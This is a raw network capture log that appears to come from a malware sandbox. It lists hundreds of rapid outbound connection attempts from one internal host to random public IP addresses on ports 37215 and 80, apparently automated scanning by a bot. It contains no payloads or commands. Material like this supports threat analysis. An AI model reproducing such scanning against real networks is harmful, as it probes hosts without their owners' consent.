Dec 3, 2024 22:02:02.894606113 CET	40832	37215	192.168.2.14	197.180.36.104
Dec 3, 2024 22:02:02.894608021 CET	40832	37215	192.168.2.14	156.203.63.195
Dec 3, 2024 22:02:02.894614935 CET	40832	37215	192.168.2.14	41.98.139.172
Dec 3, 2024 22:02:02.894628048 CET	40832	37215	192.168.2.14	156.32.105.134
Dec 3, 2024 22:02:02.894628048 CET	40832	37215	192.168.2.14	41.114.11.166
Dec 3, 2024 22:02:02.894640923 CET	40832	37215	192.168.2.14	41.41.154.34
Dec 3, 2024 22:02:02.894640923 CET	40832	37215	192.168.2.14	197.197.228.156
Dec 3, 2024 22:02:02.894644976 CET	40832	37215	192.168.2.14	41.179.202.110
Dec 3, 2024 22:02:02.894648075 CET	40832	37215	192.168.2.14	156.236.138.207
Dec 3, 2024 22:02:02.894648075 CET	40832	37215	192.168.2.14	197.205.49.62
Dec 3, 2024 22:02:02.894649029 CET	40832	37215	192.168.2.14	197.153.178.53
Dec 3, 2024 22:02:02.894654036 CET	40832	37215	192.168.2.14	41.202.166.7
Dec 3, 2024 22:02:02.894659042 CET	40832	37215	192.168.2.14	197.5.45.207
Dec 3, 2024 22:02:02.894670963 CET	40832	37215	192.168.2.14	156.199.49.86
Dec 3, 2024 22:02:02.894671917 CET	40832	37215	192.168.2.14	197.98.74.97
Dec 3, 2024 22:02:02.894670963 CET	40832	37215	192.168.2.14	197.217.45.150
Dec 3, 2024 22:02:02.894671917 CET	40832	37215	192.168.2.14	197.143.55.244
Dec 3, 2024 22:02:02.894671917 CET	40832	37215	192.168.2.14	156.248.110.72
Dec 3, 2024 22:02:02.894671917 CET	40832	37215	192.168.2.14	41.43.183.143
Dec 3, 2024 22:02:02.894674063 CET	40832	37215	192.168.2.14	197.82.10.92
Dec 3, 2024 22:02:02.894674063 CET	40832	37215	192.168.2.14	41.14.166.35
Dec 3, 2024 22:02:02.894674063 CET	40832	37215	192.168.2.14	41.44.21.99
Dec 3, 2024 22:02:02.894687891 CET	40832	37215	192.168.2.14	41.21.63.21
Dec 3, 2024 22:02:02.894692898 CET	40832	37215	192.168.2.14	156.32.64.236
Dec 3, 2024 22:02:02.894700050 CET	40832	37215	192.168.2.14	41.209.35.244
Dec 3, 2024 22:02:02.894700050 CET	40832	37215	192.168.2.14	197.94.192.34
Dec 3, 2024 22:02:02.894700050 CET	40832	37215	192.168.2.14	156.200.176.181
Dec 3, 2024 22:02:02.894700050 CET	40832	37215	192.168.2.14	41.198.77.52
Dec 3, 2024 22:02:02.894701004 CET	40832	37215	192.168.2.14	197.16.252.42
Dec 3, 2024 22:02:02.894701004 CET	40832	37215	192.168.2.14	197.113.118.179
Dec 3, 2024 22:02:02.894701004 CET	40832	37215	192.168.2.14	41.160.254.14
Dec 3, 2024 22:02:02.894701958 CET	40832	37215	192.168.2.14	156.88.43.122
Dec 3, 2024 22:02:02.894701958 CET	40832	37215	192.168.2.14	41.180.52.93
Dec 3, 2024 22:02:02.894701958 CET	40832	37215	192.168.2.14	156.97.205.236
Dec 3, 2024 22:02:02.894701004 CET	40832	37215	192.168.2.14	156.82.133.80
Dec 3, 2024 22:02:02.894706964 CET	40832	37215	192.168.2.14	156.44.220.51
Dec 3, 2024 22:02:02.894702911 CET	40832	37215	192.168.2.14	156.13.249.173
Dec 3, 2024 22:02:02.894702911 CET	40832	37215	192.168.2.14	156.100.135.243
Dec 3, 2024 22:02:02.894702911 CET	40832	37215	192.168.2.14	41.20.45.149
Dec 3, 2024 22:02:02.894710064 CET	40832	37215	192.168.2.14	41.187.172.86
Dec 3, 2024 22:02:02.894710064 CET	40832	37215	192.168.2.14	41.44.35.126
Dec 3, 2024 22:02:02.894711971 CET	40832	37215	192.168.2.14	41.113.160.37
Dec 3, 2024 22:02:02.894710064 CET	40832	37215	192.168.2.14	41.102.39.32
Dec 3, 2024 22:02:02.894711018 CET	40832	37215	192.168.2.14	197.28.71.20
Dec 3, 2024 22:02:02.894711971 CET	40832	37215	192.168.2.14	41.171.139.2
Dec 3, 2024 22:02:02.894721985 CET	40832	37215	192.168.2.14	41.206.164.201
Dec 3, 2024 22:02:02.894721985 CET	40832	37215	192.168.2.14	156.247.246.127
Dec 3, 2024 22:02:02.894731998 CET	40832	37215	192.168.2.14	41.253.161.203
Dec 3, 2024 22:02:02.894736052 CET	40832	37215	192.168.2.14	197.164.252.179
Dec 3, 2024 22:02:02.894736052 CET	40832	37215	192.168.2.14	197.16.77.46
Dec 3, 2024 22:02:02.894736052 CET	40832	37215	192.168.2.14	156.197.116.170
Dec 3, 2024 22:02:02.894738913 CET	40832	37215	192.168.2.14	41.119.14.21
Dec 3, 2024 22:02:02.894751072 CET	40832	37215	192.168.2.14	41.179.195.172
Dec 3, 2024 22:02:02.894753933 CET	40832	37215	192.168.2.14	156.10.97.109
Dec 3, 2024 22:02:02.894764900 CET	40832	37215	192.168.2.14	197.21.172.234
Dec 3, 2024 22:02:02.894767046 CET	40832	37215	192.168.2.14	197.105.53.146
Dec 3, 2024 22:02:02.894771099 CET	40832	37215	192.168.2.14	197.65.182.79
Dec 3, 2024 22:02:02.894783020 CET	40832	37215	192.168.2.14	41.59.229.72
Dec 3, 2024 22:02:02.894785881 CET	40832	37215	192.168.2.14	41.112.220.163
Dec 3, 2024 22:02:02.894787073 CET	40832	37215	192.168.2.14	41.169.193.98
Dec 3, 2024 22:02:02.894789934 CET	40832	37215	192.168.2.14	156.237.175.153
Dec 3, 2024 22:02:02.894795895 CET	40832	37215	192.168.2.14	41.154.94.198
Dec 3, 2024 22:02:02.894803047 CET	40832	37215	192.168.2.14	197.63.56.33
Dec 3, 2024 22:02:02.894807100 CET	40832	37215	192.168.2.14	156.101.231.127
Dec 3, 2024 22:02:02.894810915 CET	40832	37215	192.168.2.14	41.113.157.50
Dec 3, 2024 22:02:02.894819021 CET	40832	37215	192.168.2.14	197.172.66.226
Dec 3, 2024 22:02:02.894819021 CET	40832	37215	192.168.2.14	41.91.200.58
Dec 3, 2024 22:02:02.894824028 CET	40832	37215	192.168.2.14	156.200.52.240
Dec 3, 2024 22:02:02.894833088 CET	40832	37215	192.168.2.14	197.6.194.96
Dec 3, 2024 22:02:02.894833088 CET	40832	37215	192.168.2.14	197.187.254.46
Dec 3, 2024 22:02:02.894845009 CET	40832	37215	192.168.2.14	41.118.47.146
Dec 3, 2024 22:02:02.894853115 CET	40832	37215	192.168.2.14	156.169.141.197
Dec 3, 2024 22:02:02.894860983 CET	40832	37215	192.168.2.14	41.110.69.241
Dec 3, 2024 22:02:02.894864082 CET	40832	37215	192.168.2.14	156.17.118.68
Dec 3, 2024 22:02:02.894864082 CET	40832	37215	192.168.2.14	41.211.138.185
Dec 3, 2024 22:02:02.894866943 CET	40832	37215	192.168.2.14	197.155.30.5
Dec 3, 2024 22:02:02.894875050 CET	40832	37215	192.168.2.14	197.113.132.246
Dec 3, 2024 22:02:02.894881964 CET	40832	37215	192.168.2.14	41.118.15.112
Dec 3, 2024 22:02:02.894887924 CET	40832	37215	192.168.2.14	156.150.100.67
Dec 3, 2024 22:02:02.894887924 CET	40832	37215	192.168.2.14	156.120.117.25
Dec 3, 2024 22:02:02.894896030 CET	40832	37215	192.168.2.14	156.137.207.2
Dec 3, 2024 22:02:02.894903898 CET	40832	37215	192.168.2.14	197.251.76.41
Dec 3, 2024 22:02:02.894903898 CET	40832	37215	192.168.2.14	41.142.92.31
Dec 3, 2024 22:02:02.894907951 CET	40832	37215	192.168.2.14	156.236.82.94
Dec 3, 2024 22:02:02.894913912 CET	40832	37215	192.168.2.14	197.186.226.101
Dec 3, 2024 22:02:02.894922972 CET	40832	37215	192.168.2.14	41.236.1.236
Dec 3, 2024 22:02:02.894931078 CET	40832	37215	192.168.2.14	156.1.159.37
Dec 3, 2024 22:02:02.894932985 CET	40832	37215	192.168.2.14	197.126.161.56
Dec 3, 2024 22:02:02.894934893 CET	40832	37215	192.168.2.14	41.232.244.92
Dec 3, 2024 22:02:02.894941092 CET	40832	37215	192.168.2.14	197.48.104.176
Dec 3, 2024 22:02:02.894942999 CET	40832	37215	192.168.2.14	156.44.124.161
Dec 3, 2024 22:02:02.894948006 CET	40832	37215	192.168.2.14	156.31.226.48
Dec 3, 2024 22:02:02.894951105 CET	40832	37215	192.168.2.14	41.102.9.129
Dec 3, 2024 22:02:02.894951105 CET	40832	37215	192.168.2.14	197.162.229.214
Dec 3, 2024 22:02:02.894951105 CET	40832	37215	192.168.2.14	41.72.213.8
Dec 3, 2024 22:02:02.894951105 CET	40832	37215	192.168.2.14	197.181.12.241
Dec 3, 2024 22:02:02.894968033 CET	40832	37215	192.168.2.14	197.171.179.95
Dec 3, 2024 22:02:02.894968033 CET	40832	37215	192.168.2.14	156.100.131.140
Dec 3, 2024 22:02:02.894973993 CET	40832	37215	192.168.2.14	197.226.0.56
Dec 3, 2024 22:02:02.894985914 CET	40832	37215	192.168.2.14	156.110.194.203
Dec 3, 2024 22:02:02.894989014 CET	40832	37215	192.168.2.14	156.101.50.204
Dec 3, 2024 22:02:02.894995928 CET	40832	37215	192.168.2.14	197.31.144.213
Dec 3, 2024 22:02:02.895001888 CET	40832	37215	192.168.2.14	197.219.42.87
Dec 3, 2024 22:02:02.895009041 CET	40832	37215	192.168.2.14	156.67.150.105
Dec 3, 2024 22:02:02.895009041 CET	40832	37215	192.168.2.14	156.31.213.16
Dec 3, 2024 22:02:02.895014048 CET	40832	37215	192.168.2.14	197.205.159.88
Dec 3, 2024 22:02:02.895021915 CET	40832	37215	192.168.2.14	197.160.146.236
Dec 3, 2024 22:02:02.895026922 CET	40832	37215	192.168.2.14	41.173.176.247
Dec 3, 2024 22:02:02.895026922 CET	40832	37215	192.168.2.14	156.214.121.108
Dec 3, 2024 22:02:02.895035982 CET	40832	37215	192.168.2.14	156.134.89.20
Dec 3, 2024 22:02:02.895039082 CET	40832	37215	192.168.2.14	41.210.176.228
Dec 3, 2024 22:02:02.895044088 CET	40832	37215	192.168.2.14	156.174.132.30
Dec 3, 2024 22:02:02.895056963 CET	40832	37215	192.168.2.14	41.30.245.248
Dec 3, 2024 22:02:02.895056963 CET	40832	37215	192.168.2.14	41.147.143.186
Dec 3, 2024 22:02:02.895071030 CET	40832	37215	192.168.2.14	156.207.197.2
Dec 3, 2024 22:02:02.895072937 CET	40832	37215	192.168.2.14	156.214.9.250
Dec 3, 2024 22:02:02.895082951 CET	40832	37215	192.168.2.14	197.52.63.227
Dec 3, 2024 22:02:02.895083904 CET	40832	37215	192.168.2.14	41.209.198.67
Dec 3, 2024 22:02:02.895087004 CET	40832	37215	192.168.2.14	41.128.164.16
Dec 3, 2024 22:02:02.895092964 CET	40832	37215	192.168.2.14	197.77.25.192
Dec 3, 2024 22:02:02.895093918 CET	40832	37215	192.168.2.14	41.12.163.104
Dec 3, 2024 22:02:02.895103931 CET	40832	37215	192.168.2.14	197.175.68.120
Dec 3, 2024 22:02:02.895107031 CET	40832	37215	192.168.2.14	41.44.117.69
Dec 3, 2024 22:02:02.895113945 CET	40832	37215	192.168.2.14	197.68.38.155
Dec 3, 2024 22:02:02.895117044 CET	40832	37215	192.168.2.14	41.49.94.98
Dec 3, 2024 22:02:02.895121098 CET	40832	37215	192.168.2.14	197.36.207.134
Dec 3, 2024 22:02:02.895128965 CET	40832	37215	192.168.2.14	156.84.251.130
Dec 3, 2024 22:02:02.895138979 CET	40832	37215	192.168.2.14	156.110.48.134
Dec 3, 2024 22:02:02.895140886 CET	40832	37215	192.168.2.14	156.125.85.53
Dec 3, 2024 22:02:02.895140886 CET	40832	37215	192.168.2.14	41.62.96.8
Dec 3, 2024 22:02:02.895148993 CET	40832	37215	192.168.2.14	156.77.42.210
Dec 3, 2024 22:02:02.895159006 CET	40832	37215	192.168.2.14	156.164.119.180
Dec 3, 2024 22:02:02.895163059 CET	40832	37215	192.168.2.14	197.181.151.116
Dec 3, 2024 22:02:02.895163059 CET	40832	37215	192.168.2.14	41.152.243.40
Dec 3, 2024 22:02:02.895183086 CET	40832	37215	192.168.2.14	197.66.153.217
Dec 3, 2024 22:02:02.895183086 CET	40832	37215	192.168.2.14	156.208.112.115
Dec 3, 2024 22:02:02.895184994 CET	40832	37215	192.168.2.14	197.229.111.171
Dec 3, 2024 22:02:02.895194054 CET	40832	37215	192.168.2.14	156.188.143.9
Dec 3, 2024 22:02:02.895195007 CET	40832	37215	192.168.2.14	41.218.81.237
Dec 3, 2024 22:02:02.895203114 CET	40832	37215	192.168.2.14	156.41.114.31
Dec 3, 2024 22:02:02.895209074 CET	40832	37215	192.168.2.14	41.149.74.193
Dec 3, 2024 22:02:02.895216942 CET	40832	37215	192.168.2.14	197.160.5.56
Dec 3, 2024 22:02:02.895220995 CET	40832	37215	192.168.2.14	41.135.111.97
Dec 3, 2024 22:02:02.895221949 CET	40832	37215	192.168.2.14	41.141.191.52
Dec 3, 2024 22:02:02.895234108 CET	40832	37215	192.168.2.14	41.179.63.2
Dec 3, 2024 22:02:02.895235062 CET	40832	37215	192.168.2.14	197.176.115.143
Dec 3, 2024 22:02:02.895236015 CET	40832	37215	192.168.2.14	41.25.205.88
Dec 3, 2024 22:02:02.895241976 CET	40832	37215	192.168.2.14	156.202.169.226
Dec 3, 2024 22:02:02.895246029 CET	40832	37215	192.168.2.14	197.49.215.241
Dec 3, 2024 22:02:02.895256996 CET	40832	37215	192.168.2.14	41.139.151.117
Dec 3, 2024 22:02:02.895262003 CET	40832	37215	192.168.2.14	41.201.157.144
Dec 3, 2024 22:02:02.895263910 CET	40832	37215	192.168.2.14	156.91.180.48
Dec 3, 2024 22:02:02.895266056 CET	40832	37215	192.168.2.14	41.77.113.201
Dec 3, 2024 22:02:02.895270109 CET	40832	37215	192.168.2.14	41.197.24.20
Dec 3, 2024 22:02:02.895275116 CET	40832	37215	192.168.2.14	41.165.71.222
Dec 3, 2024 22:02:02.895283937 CET	40832	37215	192.168.2.14	197.87.111.89
Dec 3, 2024 22:02:02.895289898 CET	40832	37215	192.168.2.14	156.85.207.221
Dec 3, 2024 22:02:02.895293951 CET	40832	37215	192.168.2.14	197.200.151.6
Dec 3, 2024 22:02:02.895303965 CET	40832	37215	192.168.2.14	197.237.183.135
Dec 3, 2024 22:02:02.895304918 CET	40832	37215	192.168.2.14	156.155.228.253
Dec 3, 2024 22:02:02.895308018 CET	40832	37215	192.168.2.14	156.213.133.80
Dec 3, 2024 22:02:02.895309925 CET	40832	37215	192.168.2.14	41.140.206.205
Dec 3, 2024 22:02:02.895328999 CET	40832	37215	192.168.2.14	197.144.179.42
Dec 3, 2024 22:02:02.895329952 CET	40832	37215	192.168.2.14	156.202.81.230
Dec 3, 2024 22:02:02.895335913 CET	40832	37215	192.168.2.14	156.174.193.244
Dec 3, 2024 22:02:02.895337105 CET	40832	37215	192.168.2.14	197.109.183.40
Dec 3, 2024 22:02:02.895343065 CET	40832	37215	192.168.2.14	197.245.221.44
Dec 3, 2024 22:02:02.895353079 CET	40832	37215	192.168.2.14	156.73.221.183
Dec 3, 2024 22:02:02.895356894 CET	40832	37215	192.168.2.14	156.38.200.178
Dec 3, 2024 22:02:02.895364046 CET	40832	37215	192.168.2.14	156.52.202.8
Dec 3, 2024 22:02:02.895370960 CET	40832	37215	192.168.2.14	41.183.61.114
Dec 3, 2024 22:02:02.895370960 CET	40832	37215	192.168.2.14	197.127.217.72
Dec 3, 2024 22:02:02.895384073 CET	40832	37215	192.168.2.14	156.239.15.198
Dec 3, 2024 22:02:02.895385981 CET	40832	37215	192.168.2.14	197.22.159.51
Dec 3, 2024 22:02:02.895392895 CET	40832	37215	192.168.2.14	156.96.71.82
Dec 3, 2024 22:02:02.895395994 CET	40832	37215	192.168.2.14	156.34.183.227
Dec 3, 2024 22:02:02.895404100 CET	40832	37215	192.168.2.14	197.122.182.209
Dec 3, 2024 22:02:02.895405054 CET	40832	37215	192.168.2.14	197.134.216.9
Dec 3, 2024 22:02:02.895415068 CET	40832	37215	192.168.2.14	156.249.219.254
Dec 3, 2024 22:02:02.895420074 CET	40832	37215	192.168.2.14	41.236.0.163
Dec 3, 2024 22:02:02.895420074 CET	40832	37215	192.168.2.14	41.31.39.20
Dec 3, 2024 22:02:02.895426989 CET	40832	37215	192.168.2.14	41.100.103.117
Dec 3, 2024 22:02:02.895436049 CET	40832	37215	192.168.2.14	197.59.165.111
Dec 3, 2024 22:02:02.895442963 CET	40832	37215	192.168.2.14	41.230.85.115
Dec 3, 2024 22:02:02.895443916 CET	40832	37215	192.168.2.14	197.36.151.205
Dec 3, 2024 22:02:02.895452023 CET	40832	37215	192.168.2.14	197.220.131.90
Dec 3, 2024 22:02:02.895467043 CET	40832	37215	192.168.2.14	156.44.96.241
Dec 3, 2024 22:02:02.895469904 CET	40832	37215	192.168.2.14	197.155.188.169
Dec 3, 2024 22:02:02.895469904 CET	40832	37215	192.168.2.14	41.136.234.194
Dec 3, 2024 22:02:02.895474911 CET	40832	37215	192.168.2.14	41.74.231.145
Dec 3, 2024 22:02:02.895478964 CET	40832	37215	192.168.2.14	41.38.171.166
Dec 3, 2024 22:02:02.895478964 CET	40832	37215	192.168.2.14	197.35.154.153
Dec 3, 2024 22:02:02.895478964 CET	40832	37215	192.168.2.14	41.171.51.151
Dec 3, 2024 22:02:02.895490885 CET	40832	37215	192.168.2.14	41.52.76.117
Dec 3, 2024 22:02:02.895492077 CET	40832	37215	192.168.2.14	197.138.63.67
Dec 3, 2024 22:02:02.895502090 CET	40832	37215	192.168.2.14	197.70.254.144
Dec 3, 2024 22:02:02.895503998 CET	40832	37215	192.168.2.14	41.251.235.164
Dec 3, 2024 22:02:02.895513058 CET	40832	37215	192.168.2.14	156.20.4.90
Dec 3, 2024 22:02:02.895513058 CET	40832	37215	192.168.2.14	156.82.27.85
Dec 3, 2024 22:02:02.895523071 CET	40832	37215	192.168.2.14	156.187.11.116
Dec 3, 2024 22:02:02.895529985 CET	40832	37215	192.168.2.14	156.201.146.155
Dec 3, 2024 22:02:02.895534039 CET	40832	37215	192.168.2.14	197.124.116.83
Dec 3, 2024 22:02:02.896084070 CET	38806	37215	192.168.2.14	156.72.185.93
Dec 3, 2024 22:02:02.896759033 CET	38556	37215	192.168.2.14	156.180.52.49
Dec 3, 2024 22:02:02.897445917 CET	33422	37215	192.168.2.14	197.231.16.59
Dec 3, 2024 22:02:02.898101091 CET	59866	37215	192.168.2.14	41.153.253.195
Dec 3, 2024 22:02:02.898701906 CET	47150	37215	192.168.2.14	197.100.58.133
Dec 3, 2024 22:02:02.898737907 CET	39296	80	192.168.2.14	102.222.173.124
Dec 3, 2024 22:02:02.898750067 CET	39296	80	192.168.2.14	222.198.55.104
Dec 3, 2024 22:02:02.898757935 CET	39296	80	192.168.2.14	118.170.95.66
Dec 3, 2024 22:02:02.898789883 CET	39296	80	192.168.2.14	190.170.159.101
Dec 3, 2024 22:02:02.898806095 CET	39296	80	192.168.2.14	71.64.248.6
Dec 3, 2024 22:02:02.898813963 CET	39296	80	192.168.2.14	87.86.2.45
Dec 3, 2024 22:02:02.898824930 CET	39296	80	192.168.2.14	83.212.44.86
Dec 3, 2024 22:02:02.898834944 CET	39296	80	192.168.2.14	151.68.64.90
Dec 3, 2024 22:02:02.898843050 CET	39296	80	192.168.2.14	148.129.205.106
Dec 3, 2024 22:02:02.898858070 CET	39296	80	192.168.2.14	106.207.151.47
Dec 3, 2024 22:02:02.898885012 CET	39296	80	192.168.2.14	93.226.236.196
Dec 3, 2024 22:02:02.898902893 CET	39296	80	192.168.2.14	12.29.115.51
Dec 3, 2024 22:02:02.898905993 CET	39296	80	192.168.2.14	205.111.241.174
Dec 3, 2024 22:02:02.898912907 CET	39296	80	192.168.2.14	139.86.23.165
Dec 3, 2024 22:02:02.898924112 CET	39296	80	192.168.2.14	172.104.230.67
Dec 3, 2024 22:02:02.898932934 CET	39296	80	192.168.2.14	35.245.211.65
Dec 3, 2024 22:02:02.898941994 CET	39296	80	192.168.2.14	221.57.54.2
Dec 3, 2024 22:02:02.898973942 CET	39296	80	192.168.2.14	112.250.24.166
Dec 3, 2024 22:02:02.898986101 CET	39296	80	192.168.2.14	182.250.149.239
Dec 3, 2024 22:02:02.898989916 CET	39296	80	192.168.2.14	9.22.218.5
Dec 3, 2024 22:02:02.899005890 CET	39296	80	192.168.2.14	133.208.204.113
Dec 3, 2024 22:02:02.899013996 CET	39296	80	192.168.2.14	72.127.75.49
Dec 3, 2024 22:02:02.899020910 CET	39296	80	192.168.2.14	37.65.138.208
Dec 3, 2024 22:02:02.899024963 CET	39296	80	192.168.2.14	61.144.104.250
Dec 3, 2024 22:02:02.899034023 CET	39296	80	192.168.2.14	204.163.245.150
Dec 3, 2024 22:02:02.899065971 CET	39296	80	192.168.2.14	47.144.216.196
Dec 3, 2024 22:02:02.899081945 CET	39296	80	192.168.2.14	8.59.187.247
Dec 3, 2024 22:02:02.899086952 CET	39296	80	192.168.2.14	125.162.30.245
Dec 3, 2024 22:02:02.899092913 CET	39296	80	192.168.2.14	75.205.248.79
Dec 3, 2024 22:02:02.899104118 CET	39296	80	192.168.2.14	79.33.23.130
Dec 3, 2024 22:02:02.899111032 CET	39296	80	192.168.2.14	192.235.190.196
Dec 3, 2024 22:02:02.899125099 CET	39296	80	192.168.2.14	124.160.98.174
Dec 3, 2024 22:02:02.899157047 CET	39296	80	192.168.2.14	218.145.27.77
Dec 3, 2024 22:02:02.899157047 CET	39296	80	192.168.2.14	194.154.132.126
Dec 3, 2024 22:02:02.899179935 CET	39296	80	192.168.2.14	90.112.216.55
Dec 3, 2024 22:02:02.899180889 CET	39296	80	192.168.2.14	118.123.154.218
Dec 3, 2024 22:02:02.899198055 CET	39296	80	192.168.2.14	65.74.215.156
Dec 3, 2024 22:02:02.899207115 CET	39296	80	192.168.2.14	104.65.247.31
Dec 3, 2024 22:02:02.899209023 CET	39296	80	192.168.2.14	1.96.199.33
Dec 3, 2024 22:02:02.899249077 CET	39296	80	192.168.2.14	128.119.241.239
Dec 3, 2024 22:02:02.899261951 CET	39296	80	192.168.2.14	159.80.85.215
Dec 3, 2024 22:02:02.899267912 CET	39296	80	192.168.2.14	96.189.199.189
Dec 3, 2024 22:02:02.899281979 CET	39296	80	192.168.2.14	136.177.91.74
Dec 3, 2024 22:02:02.899291992 CET	39296	80	192.168.2.14	135.242.81.103
Dec 3, 2024 22:02:02.899333000 CET	39296	80	192.168.2.14	88.134.29.121
Dec 3, 2024 22:02:02.899333000 CET	39296	80	192.168.2.14	102.223.60.157
Dec 3, 2024 22:02:02.899337053 CET	60746	37215	192.168.2.14	41.163.239.113
Dec 3, 2024 22:02:02.899343967 CET	39296	80	192.168.2.14	9.233.55.11
Dec 3, 2024 22:02:02.899353981 CET	39296	80	192.168.2.14	109.221.191.205
Dec 3, 2024 22:02:02.899370909 CET	39296	80	192.168.2.14	62.148.45.87
Dec 3, 2024 22:02:02.899377108 CET	39296	80	192.168.2.14	96.41.128.189
Dec 3, 2024 22:02:02.899382114 CET	39296	80	192.168.2.14	34.231.83.126
Dec 3, 2024 22:02:02.899395943 CET	39296	80	192.168.2.14	81.53.7.23
Dec 3, 2024 22:02:02.899425983 CET	39296	80	192.168.2.14	85.5.31.65
Dec 3, 2024 22:02:02.899429083 CET	39296	80	192.168.2.14	53.98.167.219
Dec 3, 2024 22:02:02.899452925 CET	39296	80	192.168.2.14	74.189.103.241
Dec 3, 2024 22:02:02.899456978 CET	39296	80	192.168.2.14	158.24.160.199
Dec 3, 2024 22:02:02.899470091 CET	39296	80	192.168.2.14	185.201.24.142
Dec 3, 2024 22:02:02.899473906 CET	39296	80	192.168.2.14	14.185.238.142
Dec 3, 2024 22:02:02.899497986 CET	39296	80	192.168.2.14	141.203.123.85
Dec 3, 2024 22:02:02.899535894 CET	39296	80	192.168.2.14	73.75.95.8
Dec 3, 2024 22:02:02.899548054 CET	39296	80	192.168.2.14	129.112.186.218
Dec 3, 2024 22:02:02.899561882 CET	39296	80	192.168.2.14	169.117.254.206
Dec 3, 2024 22:02:02.899563074 CET	39296	80	192.168.2.14	139.91.205.33
Dec 3, 2024 22:02:02.899584055 CET	39296	80	192.168.2.14	144.177.191.147
Dec 3, 2024 22:02:02.899590969 CET	39296	80	192.168.2.14	164.51.231.150
Dec 3, 2024 22:02:02.899606943 CET	39296	80	192.168.2.14	104.155.33.13
Dec 3, 2024 22:02:02.899658918 CET	39296	80	192.168.2.14	199.210.51.248
Dec 3, 2024 22:02:02.899672031 CET	39296	80	192.168.2.14	119.185.69.208
Dec 3, 2024 22:02:02.899674892 CET	39296	80	192.168.2.14	70.65.142.212
Dec 3, 2024 22:02:02.899684906 CET	39296	80	192.168.2.14	104.121.113.12
Dec 3, 2024 22:02:02.899693966 CET	39296	80	192.168.2.14	63.19.5.112
Dec 3, 2024 22:02:02.899702072 CET	39296	80	192.168.2.14	156.215.157.17
Dec 3, 2024 22:02:02.899717093 CET	39296	80	192.168.2.14	61.224.113.160
Dec 3, 2024 22:02:02.899719954 CET	39296	80	192.168.2.14	129.250.171.203
Dec 3, 2024 22:02:02.899749994 CET	39296	80	192.168.2.14	175.10.82.176
Dec 3, 2024 22:02:02.899760962 CET	39296	80	192.168.2.14	197.126.2.191
Dec 3, 2024 22:02:02.899768114 CET	39296	80	192.168.2.14	68.170.215.107
Dec 3, 2024 22:02:02.899777889 CET	39296	80	192.168.2.14	53.245.180.163
Dec 3, 2024 22:02:02.899785995 CET	39296	80	192.168.2.14	67.74.109.184
Dec 3, 2024 22:02:02.899799109 CET	39296	80	192.168.2.14	88.215.71.209
Dec 3, 2024 22:02:02.899800062 CET	39296	80	192.168.2.14	135.205.74.159
Dec 3, 2024 22:02:02.899827003 CET	39296	80	192.168.2.14	36.68.75.81
Dec 3, 2024 22:02:02.899846077 CET	39296	80	192.168.2.14	222.206.58.232
Dec 3, 2024 22:02:02.899846077 CET	39296	80	192.168.2.14	211.65.44.25
Dec 3, 2024 22:02:02.899846077 CET	39296	80	192.168.2.14	195.225.1.83
Dec 3, 2024 22:02:02.899857044 CET	39296	80	192.168.2.14	148.217.132.137
Dec 3, 2024 22:02:02.899863005 CET	39296	80	192.168.2.14	44.1.22.90
Dec 3, 2024 22:02:02.899874926 CET	39296	80	192.168.2.14	92.200.33.206
Dec 3, 2024 22:02:02.899883986 CET	39296	80	192.168.2.14	200.86.155.72
Dec 3, 2024 22:02:02.899890900 CET	39296	80	192.168.2.14	79.192.4.222
Dec 3, 2024 22:02:02.899899960 CET	39296	80	192.168.2.14	78.21.224.159
Dec 3, 2024 22:02:02.899928093 CET	39296	80	192.168.2.14	137.102.14.177
Dec 3, 2024 22:02:02.899935961 CET	39296	80	192.168.2.14	141.223.154.225
Dec 3, 2024 22:02:02.899936914 CET	39296	80	192.168.2.14	139.179.225.131
Dec 3, 2024 22:02:02.899949074 CET	39296	80	192.168.2.14	179.55.186.155
Dec 3, 2024 22:02:02.899956942 CET	39296	80	192.168.2.14	149.7.198.153
Dec 3, 2024 22:02:02.899966002 CET	39296	80	192.168.2.14	129.133.129.139
Dec 3, 2024 22:02:02.899975061 CET	39296	80	192.168.2.14	91.53.165.21
Dec 3, 2024 22:02:02.899975061 CET	39296	80	192.168.2.14	210.212.247.38
Dec 3, 2024 22:02:02.900012970 CET	39296	80	192.168.2.14	34.180.63.178
Dec 3, 2024 22:02:02.900016069 CET	39296	80	192.168.2.14	52.174.118.17
Dec 3, 2024 22:02:02.900016069 CET	52764	37215	192.168.2.14	156.8.122.245
Dec 3, 2024 22:02:02.900024891 CET	39296	80	192.168.2.14	69.162.233.193
Dec 3, 2024 22:02:02.900038004 CET	39296	80	192.168.2.14	1.144.50.24
Dec 3, 2024 22:02:02.900048018 CET	39296	80	192.168.2.14	36.49.127.222
Dec 3, 2024 22:02:02.900059938 CET	39296	80	192.168.2.14	200.63.149.98
Dec 3, 2024 22:02:02.900060892 CET	39296	80	192.168.2.14	68.157.9.85
Dec 3, 2024 22:02:02.900070906 CET	39296	80	192.168.2.14	148.88.240.40
Dec 3, 2024 22:02:02.900078058 CET	39296	80	192.168.2.14	90.77.194.128
Dec 3, 2024 22:02:02.900110960 CET	39296	80	192.168.2.14	81.71.239.75
Dec 3, 2024 22:02:02.900120974 CET	39296	80	192.168.2.14	211.49.241.215
Dec 3, 2024 22:02:02.900121927 CET	39296	80	192.168.2.14	20.179.20.237
Dec 3, 2024 22:02:02.900125980 CET	39296	80	192.168.2.14	44.163.174.156
Dec 3, 2024 22:02:02.900139093 CET	39296	80	192.168.2.14	193.235.167.103
Dec 3, 2024 22:02:02.900149107 CET	39296	80	192.168.2.14	99.67.164.73
Dec 3, 2024 22:02:02.900156021 CET	39296	80	192.168.2.14	57.236.224.12
Dec 3, 2024 22:02:02.900167942 CET	39296	80	192.168.2.14	84.60.70.42
Dec 3, 2024 22:02:02.900185108 CET	39296	80	192.168.2.14	179.224.113.26
Dec 3, 2024 22:02:02.900188923 CET	39296	80	192.168.2.14	98.224.5.29
Dec 3, 2024 22:02:02.900219917 CET	39296	80	192.168.2.14	93.31.181.243
Dec 3, 2024 22:02:02.900233030 CET	39296	80	192.168.2.14	8.126.134.88
Dec 3, 2024 22:02:02.900243998 CET	39296	80	192.168.2.14	87.132.195.82
Dec 3, 2024 22:02:02.900250912 CET	39296	80	192.168.2.14	74.255.67.100
Dec 3, 2024 22:02:02.900262117 CET	39296	80	192.168.2.14	27.104.169.137
Dec 3, 2024 22:02:02.900271893 CET	39296	80	192.168.2.14	45.134.75.61
Dec 3, 2024 22:02:02.900279045 CET	39296	80	192.168.2.14	104.134.248.13
Dec 3, 2024 22:02:02.900310040 CET	39296	80	192.168.2.14	170.10.160.102
Dec 3, 2024 22:02:02.900325060 CET	39296	80	192.168.2.14	119.116.22.67
